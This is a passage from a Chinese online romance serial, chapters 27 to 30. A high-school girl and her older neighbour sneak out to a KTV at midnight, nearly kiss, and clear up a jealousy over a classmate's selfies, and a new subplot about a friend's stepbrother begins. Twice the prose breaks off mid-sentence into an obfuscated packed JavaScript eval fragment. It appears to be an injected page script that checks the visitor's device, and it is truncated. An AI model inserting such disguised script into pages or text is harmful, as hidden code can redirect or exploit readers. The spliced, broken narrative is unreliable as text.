陈历洗过澡,吹头发的时候才打开手机看消息。 他平时不会时时刻刻拿着手机,通常是集中一个时间段回复消息,舍友打趣他“跟皇上批阅奏折”似的,每天打开就为点个“阅”。 他笑而不语,不重要的消息不值得耗费他的时间和精力。 然而今天翻到聊天界面,却猛地看见没有消息显示的人却排在了前列,陈历有些恍惚。他点开和施岑雅的对话框,眼中映入几个小时前她发送的消息。 两张照片。 陈历随手点开一看,云淡风轻地退出。 如果他没记错,他应该没有点开过这个对话框,但事实却是消息提示的红点消失了。 再看发送消息的时间,这个点应该正是他们在吃晚饭的时候。 陈历把手里的吹风机搁到桌面,倏地想起餐桌上宋昭昭刷了没几分钟朋友圈,就把手机推还给他,表情有些古怪。 当时的他正在喝鸡汤,她的小表情隐藏得很好,以至于他没有第一时间反应过来。 所以,她看见了? 结合吃完饭洗碗,她种种心不在焉的行为,想来是看见,并且误会了。 陈历长叹了一口气,眉眼间隐着几分倦怠感,他重新拿起手机,给施岑雅发了条消息。 发完消息后,他又点开与宋昭昭的对话框。 手指打出一行字,顿觉不妥,又匆匆删掉,他斟酌着该如何向她解释。 今夜窗外的月亮大如圆盘,悬挂在漆黑的夜幕之中,遥不可及,光辉从枝头漏洒,在地面投下斑驳的影子。 进入深夜,风光路漆黑一片,唯余几盏伫立的路灯散发出昏黄的光芒。 陈历在窗前静立了会儿,等到夜深人静,给宋昭昭发了条语音。 收到语音时,宋昭昭正起床去厨房倒水,手机放在裤兜里震动了一下。她抿了两口水,疑惑大半夜谁会给她发消息。 打开,来人竟然是—— 陈历。 她被水呛了一下,捂着嘴小声地咳嗽,眼睛警惕地往身后旋,母亲卧房的门依旧紧闭,她才点开那条语音。 音量只开了一格,宋昭昭的耳朵贴近听筒,听见他问:“睡了吗?” 她第一反应不是回复,而是心想“你怎么还不睡”,抱着这股疑问,她斟酌措辞,回:【没。】 想了想,单个字有点冷淡,又问。 【你不睡吗?】 陈历依旧回的语音:“睡不着。” 睡不着,所以找她聊天打发时间?宋昭昭撇撇嘴,抬头望了眼月亮。 她回:【我也睡不着。】 下一秒,陈历的消息立即弹了出来。 话筒贴近耳朵,低沉的嗓音仿佛一缕轻飘飘的烟,无拘无碍地钻进了她的耳朵。 他问:“想出去玩吗?” 28. 第二十八章 28 现在吗? 宋昭昭不可置信地看了眼时间,十一点一刻,过不了多久就到第二天了,向来循规蹈矩的好学生陈历,这个点居然想找人出去玩? 也不是不可以。 宋昭昭问:【去哪?】 点开语音,前两秒钟无人说话,宋昭昭狐疑地拿远了手机,正疑惑他是不是按错键了,陈历撺掇的声音冒了出来:“我们去唱歌吧。” 春节期间,各大KTV通宵营业,某APP上团购价格层出不穷,离风光路步行二十分钟的小型商场就有个正在试营业的KTV,听说老板本想年后挑个好日子开业,但春节假期实在是抢占市场的好时机,所以提前放了一部分包厢出来。 虽然不知道他为何突发奇想提议半夜去唱歌,但—— 无论多离经叛道的事情,只要他想做,她都愿意作陪。 于是,宋昭昭不假思索回复:【好!】 五分钟后,宋昭昭穿戴整齐,拿着手机从房间里钻出来,全程敛声屏息,目光四处张望,蹑手蹑脚地穿过客厅,来到大门口。 她小心翼翼地摁下门把手,听见轻微的“咔哒”声,门锁被解开,她正对着客厅从门缝里溜了出去。 刚合上门,宋昭昭如释重负地叹了一口气,转身,与陈历笑盈盈的视线在空中相接。 他倚在对门的白墙上,似笑非笑地打量着她做贼心虚的小动作,勾勾嘴角,嗤笑出声:“胆子这么小?” 宋昭昭瞪他,要不是答应他出门唱歌,她至于一副做了偷鸡摸狗勾当的心虚模样吗? 接头成功,陈历走到她面前,轻轻地甩了下头,示意她跟在身后。 老小区的楼道装的声控灯,为了不吵醒深夜已经入眠的邻居,他们没采用跺脚的方式,而是选择打开手机手电筒。 陈历走在前面,走两三级台阶回头盯住宋昭昭脚下,步行的速度放缓,直到走到一楼,他才收回目光,关了手机。 今夜月光如水,柔和地拢着整片大地,他们并肩走在路上,耳边是徐徐的风声。 过了深秋,树枝头的枝叶早就洋洋洒洒的落了满地,直到深冬,繁茂的绿意成为过往,光秃秃的枝干立在风中,只等来年早春,抽条长芽焕发勃勃生机。 入了冬的夜晚好安静,他们走出风光路时,途径搭建的棚子,宋昭昭打了个响指,示意陈历跟她走。 她眼中闪烁着兴奋的光芒,陈历一瞧便知,她想去跟咪咪打声招呼。 搬离风光路后,宋昭昭只在发烧那一次回来过,偏她待在这里的时间,都病怏怏地躺在床上。后来温度退去,陈历送她回学校读书,她绕路去看望咪咪,结果猫并没待在棚子里,她白跑一趟。 离开时宋昭昭念念不舍,特意叮嘱他:“你下回见到咪咪,能给我拍张照片吗?” 陈历答应了她。 但他因兼职需要,早出晚归,并没什么机会偶遇咪咪。有两次特意拿了猫粮守株待兔,等了一两个小时,都没能捕捉到它的身影。 陈历失笑,咪咪东奔西走、呼朋唤友,似乎比他还要忙。 修缮过的棚子崭新、坚固,空间也比之前的更宽敞,宋昭昭一眼锁定棚子的位置,悄声靠近后弯下腰,往棚子里面探了探脑袋。 她眼睛睁得圆溜溜,扫视了一遍棚子内部,没看见咪咪的身影,生怕眼花错过,又往前凑了凑,依旧只是黑漆漆的空间,地上铺着棉布做的猫窝,猫窝旁放置着两只空碗。 “奇怪,咪咪呢?”宋昭昭直起腰,眉头紧锁。 从八月底到今天,她将近半年时间没有见到咪咪了,大晚上都不安分躺在窝里睡觉吗? “可能出去找伙伴玩了。”陈历走到棚子前,替咪咪解释。 “大半夜,不睡觉?”宋昭昭幽幽地望向他。 “夜猫子,夜猫子,当然是白天睡觉晚上活动。”陈历单手插在裤兜里,不以为意道,“野猫是这样的。” 宋昭昭哭笑不得:“哪有猫这么精力旺盛的?人也遭不住天天往外跑吧。” “有啊。” 陈历的手指点点她,又指向自己,弯了眼睛,笑眯眯道:“譬如你,譬如我。” 两个人大眼瞪小眼,宋昭昭无奈地闭上眼睛。 说得在理。 他们不就是大晚上不睡觉,跑出来找乐子最典型的例子嘛。 宋昭昭被他说服了,仰着头看了看天上的圆月,不无遗憾地说:“看来是我和咪咪没有缘分。” 她往前走,陈历小步跟上。 “你可能不知道,搬家前的某个晚上,我来这里找过咪咪。”宋昭昭自顾自开始说。 当时父母和她商量搬家的日期,作为小朋友,在这些家庭大事上面是没有决策权的,她只能作为最后一个通知的对象,被迫接受他们所有的安排。 其实想留在风光路。 哪怕她上学住宿,一周只能回家待两天。哪怕他去外省读大学,她纵使一天出十趟门都制造不了一次偶遇的机会。 但这些话,她永远无法和长辈说。长辈是过来人,她一说,那些隐藏得很好的感情就会露了陷。 她承担不了由此带来的后果。 “然后呢?” 陈历思考着,想起那晚他从风光路尽头走来,远远就看见了宋昭昭蹲在棚子前的背影,他故意放慢脚步,等待她回头。 她情绪不佳,最近又一直躲着他,就连搬家这种大事也不肯开口主动告诉他。 他想试着等等看,看看那些“躲避”是他错觉,还是她故意为之。 真相果然不出他所料,宋昭昭看见他的第一眼,并没有迎上前去,而是选择找了棵大树遮挡身影,在外踱步许久,才慢腾腾地往楼道走去。 宋昭昭回想起当时的场景,还有石沉大海的那张截图,心脏就开始闷闷地钝痛,不猛烈却锐利,无数根针扎进去,细细密密的疼痛席卷全身。 她笑着耸了耸肩,回答得言简意赅:“没有然后。” - 深夜的KTV生意火热,尽管这家目前在春节假期期间处于试营业阶段,但并不妨碍顾客接踵而来。 前后几分钟时间,送走了两拨客人,又迎来一批十几人的大家庭,他们要了个旗舰包,在前台叽叽喳喳聊天。 陈历在前台定了个小包厢,又要了一份炸鸡薯条双拼和卤鸭脖、鸭架等凉菜。 等服务人员带他们去对应包厢时,他侧过身,问宋昭昭要喝什么饮料。 宋昭昭眼睛提溜打转,最后堆起讨好的微笑,踌躇道:“可以尝点小酒吗?” “不可以。”陈历的回答斩钉截铁。 宋昭昭垮脸,咬牙切齿:“那你问我干什么……” 变脸几乎是在转瞬之间,陈历嗤笑:“宋昭昭,你要不要拿面镜子照照自己的嘴脸啊,你不说,我都以为你这一学期学的是川剧变脸。” 宋昭昭在他身后张牙舞爪,恨恨地咬了咬牙齿。 陈历并不搭理她,向前台要了一杯热牛奶和一杯热红酒,领着她往包厢走去。 进入包厢,服务人员摸索着开了两盏炫彩的霓虹灯,光束上下左右摇晃,时不时从她眼前擦过,刺得宋昭昭眯起眼睛。 她手背在身后,眼睛微微眯起,摆动手臂进入包厢。 服务人员在调试设备,宋昭昭拿起话筒,跟个老大爷似的瘫在沙发上,两条腿大大咧咧地搭在地面。 等无关人员走后,她扫描屏幕上的二维码,端起手机开始点歌。 陈历弯下腰,捡起掉落在地的纸巾,再抬眼发现她已经点了十几首歌,占了满满一整个屏幕。 他眯眸,从上往下粗粗地浏览了一遍,发现全是苦情歌。 “小小年纪,有这么多感情需要抒发?”陈历拿过另一只话筒,打开,冲着话筒发出了他的疑问。 响亮的声音在空荡的包厢上空盘旋,宋昭昭按下播放键,音乐前奏流淌,她混着钢琴前奏回应:“年轻人,情感比较蓬勃,你见谅咯。” 陈历“嘶”了声,冷言冷语的,似乎在讽他年纪大。 先上的小食拼盘,服务生进进出出,宋昭昭眼皮都没抬一下。唱完两首歌之后,服务生终于端来两杯饮品。 包厢内开了暖气,两个人默契地脱下外套,整齐地叠在另一侧。羽绒服里面套的毛衣,陈历穿的黑色,巧在宋昭昭出门前随手穿的竟然是白色。 服务生的目光在他们身上流连,放下饮品后,露出一脸了然的笑容,而后一声不吭地退出去,并且贴心地合上了门。 那笑容足够微妙,似调侃,似心知肚明。 陈历注意到了,宋昭昭也没错过。 他们同时顺着服务生的眼神低头看了眼身上穿的毛衣,又转头看向对方。 哦,这该死的默契。 宋昭昭收起松松垮垮的坐姿,无所谓地摊了下手,眼睛却不自然地瞟向屏幕,抬手去够桌上的热牛奶,递到嘴边前被陈历制止。 “昭昭,你拿错了。” 宋昭昭微怔,回神看了眼手中的杯子,一股叛逆的想法涌上心头。 她对着这杯热红酒跃跃欲试,笑眯眯地冲陈历撒娇:“我也想喝!你就让我尝一口呗,就一口!” 语气娇滴滴的,听了令人心生柔软,或许这会儿她想要天上的月亮也未尝不可。 陈历却板着脸,一字一顿:“不!行!” 酒已经在她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眉心微微凝起,黑漆漆的双眸越过绚丽的霓虹,牢牢锁定她的一举一动。陈历喉咙克制地滚了一下,欲言又止。 他的神态漫不经心的,眼神却变得探究起来。 近些年,商家为了留住顾客,无论是清吧还是livehouse,在冬季到来的时候频繁推出热红酒。饮品中加了橙子、肉桂、丁香、蜂蜜等佐料,与红酒一块儿加热,喝到口中,醇厚的口感之中还混杂着浓郁的香气,酒入肚之后,嘴里会有酸甜苦涩等各种味道杂糅,因而受到了不少年轻人追捧尝鲜。 陈历进入大学之后,无论是社团聚餐,还是参加比赛的庆功宴,同学们都开始以大人的姿态交往,饭桌上除了饮料,啤酒、红酒的身影也开始多起来。 人避免不了社交,因此多多少少也跟着学会了喝酒。 他心情复杂,纷乱的思绪像一场纷纷扬扬且来势汹汹的大雪,看起来没有尽头。 陈历举着红酒杯,尝了两口,突然开口问她:“为什么想喝酒呢?” 宋昭昭心里立刻给了回答。 因为酒精可以麻痹神经,都说“一醉解千愁”,失恋或是失意的人,免不了俗。 宋昭昭停下唱歌,清亮的眼睛看过去,拿远了话筒:“你又不让我喝。” “那你想尝尝吗?” 他的声音低沉,带着蛊惑人心的魔性,宋昭昭不由怔愣。 在他深邃的眼眸中,宋昭昭嗅到了不同于往常的平静。那面波澜不惊的湖水风起云涌,隐着一层朦胧的、她难以捉摸的情潮。 目光在空中交汇,陈历挪动屁股,不声不响地坐到了她的身侧。 肩膀挨着肩膀,开了暖气的包厢本就干燥、闷热,他一靠近,宋昭昭忽然觉得身侧新鲜的空气都被他一网打尽。 而她微张着嘴,像只溺水的鱼。 “噗通——” “噗通——” 遥远的鼓声又开始奏响,这一回,擂鼓的人到底是谁? 下一秒,陈历凑到她面前。 宋昭昭诧异地睁圆了眼睛。 四目相对,温热的呼吸萦绕在鼻息之间,热腾腾的,带着热牛奶与红酒的香气,难舍难分地交缠着。 心跳骤然加速,宋昭昭大脑有一霎空白。或许,溺在水中的鱼也渴望跃出水面。 她忽地想起白天电影院那对小情侣,有样学样地闭上了眼睛。 眼前炫彩的霓虹消失了,柔情的歌声也消失了,宋昭昭孤零零地矗立在茫茫无际的雪地里,天地间一片寂静。 29. 第二十九章 29 寂静空旷的白雪地,空气清冽,闭上眼睛之后,她的嘴唇微微颤抖着,心里的恐惧却在沉默之中被一点点放大。 眼前一片黑暗,时间被拉得格外漫长。 宋昭昭闭着眼睛等了好一会儿,嘴唇并没有如期覆盖上另一瓣温润、柔软的双唇,那些不确定的情绪再一次翻滚上来。 是她误会了吗? 他只是问了一句“那你想尝尝吗”,就跟“今天你吃饭了吗”一样平常、简单的问候,她却在旖旎气氛的簇拥中鬼使神差地闭上了眼睛。 或许,陈历只是见她心痒难耐,决定赏她一口喝的。 而不是她误以为的偶像剧情节,譬如,通过接吻传递红酒的味道。 宋!昭!昭! 逐渐清醒过来的她,更无地自容,宋昭昭在心底歇斯底里地咆哮着。 宋昭昭!宋昭昭!知不知道自作多情真的很令人尴尬、下不来台啊! 嘴唇控制不住颤抖,一直往上蔓延,连带着眼角眉梢的皮都开始扯动,宋昭昭搭在大腿上的手,狠狠掐了一把肉。 嘶—— 宋昭昭微皱了下眉,她下起手来,居然还挺狠。 闭上眼睛之后,其他感官变得更敏锐,他们的呼吸交织在一起,她能嗅到鼻尖飘过来的淡淡的红酒味。 还没尝到嘴里,居然也令她微醺。 宋昭昭在心里默念,倒数三、二、一,时间停止。 想象中的吻并没有如期而至,她倏地睁开了眼睛。 近在咫尺的脸,那双黑沉的眸子猝不及防与她对视,刚开始的第一秒钟瞳仁微微轻颤,闪过一抹若有似无的慌乱,随即眨了下眼睛,很快掩饰好他的诧异。 陈历眉目舒展开来,嘴边噙着一丝淡淡的笑意。 那一刻,宋昭昭仿佛透过他的双眸看到了白雪覆盖的天地,天地安宁,她从其中看见了倒映出的澄澈的自己。 在这个静谧而长久的对视之中,他们的眼中只有彼此,这一认知让她下意识屏住呼吸。 一曲终了,包厢内的音乐再次切换。 仿佛有一只蝴蝶悄悄落在她的眼睫,宋昭昭微不可察地眨了下眼睛。 两秒之后,陈历的身子稍稍往后退了退,他伸出手,勾起食指轻轻地刮了下她的鼻梁,揶揄道:“想什么呢。” 一触即离的手指,她甚至来不及感受他的体温。 随着他往后退去,喷洒在脸颊的独属于红酒、令人沉醉的香气也逐渐离她远去。 擂鼓声弱下去,骤然加速的心跳也逐渐趋于平缓,掐着大腿的手慢慢松了力道。 宋昭昭与他温和的眸子对望着,脸不由微微泛红,本想反驳他的话,却因笨拙、迟钝而一言不发。 她下意识咬了咬嘴唇,陈历拿过桌面那杯红酒递到她面前。 “尝两口,不许喝多。” 谁都不知道她的酒量,也不知道她喝醉是否会耍酒疯,未成年人也确实不该对酒有太大的好奇心。 陈历理应如此管束她。 宋昭昭瞥了眼那杯酒,慢吞吞地接过来。 她低下头,缓慢地凑近杯沿,先是深深地嗅了一口气,红酒醇厚的香味中浸泡着橙子清新的果香,很独特,再嗅一次,这回隐约闻到蜂蜜甜丝丝的味道。 香甜的味道,宋昭昭想着热红酒应该不会难喝到哪里去,于是贴住杯沿,喝了一口。 温热的液体顺着喉咙,流畅地滑了进去。 在陈历的注视,哦不,应该说是监督之下,她不敢喝多,只能乖顺听话地浅尝辄止。 也幸好她没有叛逆地往嘴里猛灌,只是那么一口,她差点儿反胃地呕了出来。 砸吧了两下嘴之后,宋昭昭痛苦地皱起眉,表情夸张地将嘴角拉成一条直线,不可置信地望向陈历。 心想你能不能对自己好点?就喝这?还怕我和你抢啊? 陈历嘴角微扬,眼底含着若有似无的笑意,故意询问口感:“好喝吗?” 宋昭昭皱着鼻子,眉头紧锁,神情难得认真严肃。 确实很难违心地说出夸赞的话。 她可是喝奶茶要喝七分甜,吃蛋糕要加双层奶油的甜食爱好者,面对这么一杯酸酸涩涩、甚至余味有点发苦的红酒,属实不愿意再尝第二口。 她把杯子放到大理石桌面,推了回去。 “你喝吧。” 说这话时,她忍不住在内心翻了几个巨大的白眼,且当她是山猪吃不了细糠吧,这热红酒谁爱喝谁喝。 她背过身去,假装因这杯热红酒失望,暗自长舒了一口气。 幸好,幸好陈历并没有追问她为什么闭上眼睛。 脑海中不自觉浮现出电影院那对亲吻得难舍难分的情侣,她想,应该只有相爱的人才可以接吻吧。 单相思,是不可以的。 - 桌面摆放的小食和卤味从进门到现在都还没人动,宋昭昭心不在焉地套上一次性手套,弯下腰开始哼吭哧吭哧啃鸭脖。 KTV自制的鸭脖,辣味比外面连锁店的更淡些,大概是照顾到附近居民的口味偏清淡。 鸭脖的肉质细嫩有嚼劲,宋昭昭连续啃了三四个,觉得不过瘾,吐掉骨头,又拿起桌上的薯条。 她抿了抿唇,状似不经意地偏过头,说:“晚上吃饭的时候,有人给你发了消息。” 陈历的视线投过来。 闪烁的霓虹灯球越过他们的头顶,绚彩的光刺得他们同时眯起了眼睛。 “当时我正在看你的朋友圈,消息突然弹出来,本来想把它划走,结果不小心点了进去。”嘴里的薯条有点索然无味,她快速咽下去,小声道,“我不是有意看你和别人的聊天记录,对不起。” “谁的?” “啊?”宋昭昭迟钝地应了声,望向他,反应过来他问的是点开了和谁的聊天对话框,立马回答,“施岑雅。” 撇过一眼的名字,亏她还记得。 陈历漫不经心地靠着沙发,淡淡地“嗯”了声。 就这? 宋昭昭不可置信陈历的反应居然这么平淡,他不生气或者猜疑吗? 她继续换回鸭脖,比起淡然无味的薯条,卤过的鸭脖,吃到嘴里至少还能尝出点辣味,此刻她急需重口味的食物转移自己杂乱无章的思绪。 她嚼着肉,见陈历反应平淡,偷偷看他一眼,问:“她是你同学吗?” “不算。” 陈历边扫面屏幕的二维码,边回答:“我在一班,她是二班的,不过有些公共课两个班级一起在大教室上,再加上教学老师都是同一个,平时班级之间联系还挺多。” “哦——” 宋昭昭恍然大悟地点点头,早听闻大学课程和教学方式与初高中天差地别,原来还有合上的公共课啊。 她继续追问:“那你们是怎么认识的?” “我跟她都是团支书,在院系里也担任了部长的职务,有些老师分派下来的任务需要共同完成,自然而然就认识。” 闻言,宋昭昭眉头拧得好似歪七扭八的蝴蝶结,啃鸭脖的速度不知不觉慢下来。 同为班干部,又要合作老师下来分配的任务,想必平时接触的机会不少。相处的时间多,彼此之间更了解,或许女生对他…… 有好感才会主动给异性发自拍照,分享平常的生活吧。 宋昭昭神色黯淡,但她自知不能表现出太过低落的情绪。于是清咳两声,掩下那一闪而过的失落和难过,故意摆出大大的微笑,像是发现了什么不得了的秘密,朝他挤眉弄眼。 演得并不自然,甚至能一眼瞧出她的难过。 陈历扫完二维码后,朝她淡淡地睨了一眼。 英挺的眉头下意识皱了下,他板着脸,鼻息都加重了,问:“想问什么?” 宋昭昭笑吟吟道:“只是同学关系吗?她长得很漂亮诶,你难道没有……” 话断在此处。 起初还能假装不在意,当作只是普通朋友去八卦,可是他阴沉的眸子盯着她,视线无波无澜,神态格外平静,反倒衬得她像个自导自演的小丑。 于是,这场戏她演不下去了。 为了缓解尴尬,宋昭昭只好抬起手往嘴里胡乱塞着鸭脖。 包厢内的音乐切了一首又一首,都是她精心挑选的,这会儿流淌的音乐钻入耳朵里,牵动着神经,宋昭昭的太阳穴开始突突地跳。 静了会儿,身侧传来一道冷冷的声音:“宋昭昭,你不是第一次问我这个问题。” 宋昭昭闭着嘴不说话,满心忐忑。 三年前,她在公园撞见他的朋友哭得伤心欲绝,他安安静静坐在一边听人哭诉,为人排忧解难。 当时她年纪更小,处理事情不全面,内心别扭,转头就走。 后来还是他主动拉住她解释,她才得知真相,没有因为误会而拉开两人的距离。 三年后,两张态度模棱两可的照片,又一次令她心里吃味,她明明很在乎,却要嬉皮笑脸地假装八卦,去探听他对女生的态度,追问他们之间的关系。 这几年她处理的方式真是一点长进都没有。 宋昭昭晃了晃脑袋,灯光照得人有些恍惚,但她仍嘴硬:“之前那个女生是你从小到大的朋友,可她不是啊。” “读高中的时候,你一心一意想着学习,但现在你已经如愿考上自己心仪的大学了。” 说到后面,语气渐渐低下去。 她扭过身低垂下头,假装聚精会神地啃着嘴里的肉。 听罢,陈历深深地看她一眼,鼻息间发出轻哼,道:“你都看了她发的照片,那你不想知道我的回复吗?” 宋昭昭啃着鸭脖,眼皮都没抬一下。 陈历端坐身子,滑动手机屏幕,连续点了好几首歌,退出后点开微信。 果不其然,在他刚打开微信界面的同时,埋头一声不吭的宋昭昭终于皱了下鼻子,她别过头,目不转睛地盯着陈历。 “你回什么了?” 陈历拿起话筒,把手机放在沙发上推至她身侧,修长的手指在沙发上敲了两下。 他迎着她的目光抬抬下巴,懒洋洋地说:“自己看。” 说罢,他挪回目光,视线锁定正对面的屏幕。 宋昭昭表情滞了一瞬,眼睛飞速转动着,看看陈历的侧颜,又看看躺在她身侧的手机。屏幕亮着,她只要点开,就能看见他们之间谈话的内容。 可这些内容属于他的隐私。 脑海里的两只小人在疯狂打架。 其中一只觉得既然陈历愿意跟她分享,说明发的内容无伤大雅,她大大方方看就好了。另一只则觉得她现在没名没份,顶多属于他的邻家妹妹,她不能仗着他性格脾气好,开始管天管地,管起他的交友,行为属实越界了。 各有各的道理,宋昭昭一时定夺不下来,她再次看向陈历,如果此刻他能对她点点头,那她就拿起来看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她十几岁的年纪,有且只有喜欢过一个人,她对他一见钟情。 午夜梦回时仍然能够想起那天,她迎着夕阳跑过一个上坡,眼睛忽然捕捉到穿着白衣的少年立在风光路尽头,他粗壮的手臂旋开矿泉水瓶的盖子,仰着头猛灌下一瓶水。 阳光下,他上下滚动的喉结宛若牵引绳,连带着她也不自觉吞咽了两下口水。 她自知年岁尚小,对于感情的认知过于浅显,未成年早恋被父母老师明令禁止,她也始终不敢迈出第一步。 只是…… 只是她怕自己慢一步,可能会永永远远地失去他,所以总是以拙劣的方式旁敲侧击。 宋昭昭垂下脑袋,故作轻松地耸耸肩。 “好奇而已,你爱说不说。” 实则,她在心里痛骂了自己一百遍,胆小鬼,宋昭昭你是个胆小鬼! 明明很喜欢,也同样想得到他的喜欢,却总是差那临门一脚,怯懦地缩回所有勇气。 见她沉默,陈历收回手机。 跳过他的问题,下一首歌又开始了。 包厢里气氛有点微妙,又有些怪异,他扯了扯嘴角,想起出门之前给施岑雅发的消息。 斟酌措辞之后,显得有点官方。 【雪景很漂亮,感谢分享。以后请不要给我发你的自拍照,谢谢。】 施岑雅估计被他冷淡的语气给伤到了,很不甘心地回:【为什么?难道我不漂亮吗?】 陈历:【并没有。】 施岑雅当即给他拨了一个语音电话过来,陈历将手机放置在一旁,任由铃声响了很久,自行挂断。 手机开了震动,铃声断后,桌面接连震了起来。 【我一开始只是想和你分享雪景,后来一想,今天我化了美美的妆,要是都没人看见,岂不可惜,所以顺手把自拍照发给了你。】 【……】 【算了,我撒谎了。】 【其实我想找你聊天,但不知道该如何开启话题,挺莫名其妙的,我居然有点想你。】 陈历依旧很礼貌:【请别发给我了,谢谢。】 想了想,补上一句:【小朋友看见了会伤心,她并不好哄。】 施岑雅在这条消息中捕捉到重要的信息,女人的第六感让她猜到陈历口中的“小朋友”应该是对他而言很重要的人。 她问:【她是谁?】 消息在此处戛然而止,陈历并没有回答她的消息。 他侧过头,看了眼垂着头不知在想些什么的宋昭昭,嘴角弯了弯,说:“困了,回家睡觉。” “啊?” 宋昭昭猛地抬头,她的目光在陈历和桌面摆放的卤味上徘徊,还有好多没吃完啊…… “还想吃?”陈历顺着她的视线看过去。 宋昭昭果断地点点头。 “那叫服务生来打包。”说着,他伸手摁下了头顶旁边的响铃。 等待服务生打包的时间里,宋昭昭裹起羽绒服,乖巧地把拉链拉到顶端,露出一双圆溜溜的大眼睛。 陈历站在包厢门口,接过服务生递来的塑料袋,朝她招了招手。 “回家了,小朋友。” 30. 第三十章 30 高一下学期开学,宋昭昭又回到紧张忙碌的学习之中。她只能在课间十分钟,或是吃饭排队的间隙,才能挤出时间想一想陈历。 晚上躺在宿舍的床上,翻翻和陈历的聊天记录,再抱着玲娜贝儿入睡。 日复一日,枯燥且规律地期盼明天。 与此同时,宋昭昭还有一个重大发现。 开学一个月,她发现她的好朋友兼同桌陈蓓,自从寒假回来之后,经常杵着下巴发呆,目光无焦点地盯着课本,偶尔还会扬起嘴角,露出甜蜜却惊悚的微笑。 宋昭昭在她面前挥手,她视若无睹,宋昭昭在她耳边呼唤,她恍若未闻。 不仅如此。 陈蓓开始频繁在课间时候从桌肚里掏出手机,垂下眼睛扫一眼,有时候翻找聊天记录,有时候“哒哒哒”打字。 这些反常的现象桩桩件件叠在一起,宋昭昭下意识得出结论—— 她恋爱了! 回顾以往相处的日子,宋昭昭只在陈蓓热恋时期见过她魂不守舍,情绪高涨,脸上时刻洋溢着幸福的笑容。 高中开学以来,陈蓓秉持着“男人只会影响姐拔剑的速度”的理念,空窗了半年时间。 原以为她会坚定地保持单身状态,万万没想到,一个寒假的时间,她又迅速捕捉到下一个目标。 宋昭昭“啧啧”两声,掀了掀眼皮,待讲台上的老师背过身去写板书,她果断地用手肘撞了撞陈蓓的手臂,悄声问:“谈恋爱了?” 虽是疑问,但她脸上露出神秘的微笑,心里多多少少有了答案。 四个字犹如惊雷,炸得陈蓓回了魂。 她压低嗓音:“没有。” 居然不好意思承认? 宋昭昭斜眼看过去,挺直了脊背,端端正正地坐在位置上,她端起一只手摩挲着下巴,假装认真思考的模样,手指掩着嘴巴问。 “我看你一天天守着手机,眼睛都能给屏幕盯出个窟窿来,你给我说没谈?” “咳咳。”她清了清嗓,眼神瞥一眼老师,“姐妹两个,说谎可没意思啊……” “真没有!” 陈蓓陡然抬高了音量,语气并没有气急败坏地否认,反而有种势在必得的得意,甚至还夹杂着一丝丝无奈的甜蜜。 在老师和同学们看过来之前,她故意弯下身去捡掉落在地的笔。 “这事,说来话长。” - 陈蓓从小父母离异,她的抚养权在男方,平时跟着父亲生活,但去年父亲因公外派去了非洲的一个国家。 那个国家,她连名字都叫不全乎,结果她父亲一去就是五年。 考虑到陈蓓升入高中,学习到了最关键的三年,如果没人管教、照顾,恐怕她会懈怠,影响成绩。 于是,她被送到母亲家生活。 她的母亲离异之后就找了个新男人,重新组建了家庭,对方有个比陈蓓大两岁的儿子,从小跟着父亲。 那男生姓梁,名叫梁洲。 梁洲在市第二重点高中就读,今年高三,住校。 去年下半年,陈蓓和他在家里遇见的机会不超过五次,两人除了在父母面前维持必要的友好,私下里几乎不打招呼,也从不往来。 所有转折,都要从这个无所事事的寒假说起。 梁洲住的老小区,三室一厅,面积不算小,原先三个人居于同一屋檐下,陈蓓母亲对他友好,事事以他为先,他自然懒得寻麻烦。 三人之间相安无事,但自从陈蓓来了之后,许多事都在悄然改变。 他们两个高中生放假比父母早,寒假初期,彼此保持着客气且默契的“井水不犯河水”的原则,互不干涉,互不打扰。 直到某一晚上,陈蓓的追求者不知从哪儿打听到她目前家庭住址的信息,饭点时站在她家单元楼下喊人。 当时正是下班晚高峰,小区里来来往往都是人。 邻居们做菜烧饭,听到喊声,从厨房窗户探出好几个脑袋,嗅到八卦的他们眼睛里迸发出兴奋的光芒。 陈蓓前一晚熬夜看漫画,已经在家酣睡了整整一天,根本没听见对方声嘶力竭的呐喊,甚至在床上惬意地翻了个身。 但隔壁屋的梁洲听见了。 下午他和朋友们在外打了两场篮球,拖着汗涔涔的身体刚回到家,客厅漆黑一片,他的视线紧接着投向陈蓓紧闭的房门。 不用猜也知道,她肯定还在睡梦中。 寒假短短几天相处,他快摸透她的作息时间。 每次见她,总是白天昏昏沉沉,晚上精神抖擞,好像有熬鹰的指标似的,绝无早睡早起的可能。 某次梁洲睡前打开了一部电影,看完时已是凌晨,觉得有些口渴出房门倒水,看见陈蓓猫着身子在厨房鬼鬼祟祟,等走近了一看,发现她在煮泡面。 或许是心虚,或许是讨好,希望他不要将此事告到爸妈那里去,陈蓓难得好声好气地问他一句:“你来点吗?” 梁洲冷漠摇头:“不用。”他倒了杯水,转身回了房间。 从那之后,他开始留意陈蓓的作息,基本父母起的时候,她刚准备睡,难怪每次叫她吃早餐都拒绝。 他之前甚至误会她并不想和他们父子坐在一桌吃饭,所以才次次拒绝。 虽然这样不健康的作息方式容易猝死,但梁洲最大的优点就是不多管闲事。 打了球,身上出汗,黏黏腻腻的汗水挂在身上,内衣与皮肤相贴,人感到不适,他拿了睡衣准备去浴室洗澡,合上门前忽地听到楼下一阵呼喊。 “陈蓓,我知道你住这里,你别不出声。陈蓓——” “理一下我啊,出去玩走不走,我请你吃饭啊!火锅,烧烤,串串,吃不吃?” “陈蓓!陈蓓!” 男生喊得地动山摇,他的耳朵都快磨出茧子。 本来不想掺和陈蓓的私事,但楼下男生不止不休的叫声与陈蓓雷打不动的睡眠状态,让他心里感到一阵烦躁。 梁洲觉得吵,眼眸阴沉,顺手推开了浴室的门,视线往陈蓓房间的方向撇过去,屋内静悄悄的,毫无响动。 他冷哼一声,不由感慨她真是心大。 